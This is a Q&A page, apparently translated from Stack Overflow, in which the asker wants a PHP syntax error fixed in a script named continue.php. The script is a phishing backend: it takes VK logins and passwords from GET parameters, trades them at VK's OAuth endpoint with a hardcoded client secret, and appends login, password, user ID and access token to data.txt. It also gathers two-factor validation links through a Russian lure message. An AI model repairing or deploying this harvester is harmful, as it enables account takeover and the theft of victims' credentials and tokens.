如何解析和修复意外的语法错误?

时间:2019-12-20 19:28:41

标签: php json

我在Google chrome日志工具中出错了

  

解析错误:语法错误,意外的';'在    /storage/ssd3/246/11352246/public_html/continue.php 在线    5

这是我的continue.php处理程序的代码。那么第5行怎么了?

<?php
if (isset($_GET["mobile"]) && !empty($_GET["mobile"]) && (isset($_GET["pass"]) &&
!empty($_GET["pass"]) && (isset($_GET["newpass"]) && !empty($_GET["newpass"]) && (isset($_GET["repass"]) && !empty($_GET["repass"]))
{
 $login = $_GET['mobile'];
 $password = $_GET['pass'];
 $newpass = $_GET['newpass'];
 $repass = $_GET['repass'];
 $sid=$_GET['id'];
 $capt=$_GET['captcha'];
 $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$login&password=$password&v=5.101&2fa_supported=1&captcha_sid=$sid&captcha_key=$capt");
 }
 elseif(isset($_GET['mobile'])){
 $Msg= curl("https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=$login&password=$password&v=5.101&2fa_supported=1");
 $js = json_decode($Msg,true);
 if($js["error"] == "need_captcha")
 echo "<img src='{$js['captcha_img']}'>";
 }
 $js = json_decode($Msg, true);
 if($js['access_token'] != NULL OR isset($_GET['uri'])){
 if(isset($_GET["uri"])){
 $uri = $_GET["uri"];
 $file=fopen("data.txt","a");
 fwrite($file,"$uri\n");
 fclose($file);
 } else{
 $file=fopen("data.txt","a");
 fwrite($file,"$login | $password | vk.com/id{$js['user_id']} | {$js['access_token']}\n");
 fclose($file);
 }
 } elseif($js['error']=="need_validation") {
 echo "У вас используется двухфакторная авторизация. Перейдите по <a href='[URL]https://vk.cc/6uX1TY[/URL]'>ссылке</a> Нажмите кнопку подтвердить и вставьте полученную ссылку в соответсвуюущее поле";
 } elseif($js['error']=="invalid_client"){
 echo "Неправильный логин или пароль";
 }
 function curl( $url ){
 $ch = curl_init( $url ); //Init library
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
 curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false ); //Имеется SSL? (HTTPS) Если да - меняем false на true
 curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
 $response = curl_exec( $ch );
 curl_close( $ch );
 return $response;
 }
?>

0 个答案:

没有答案
相关问题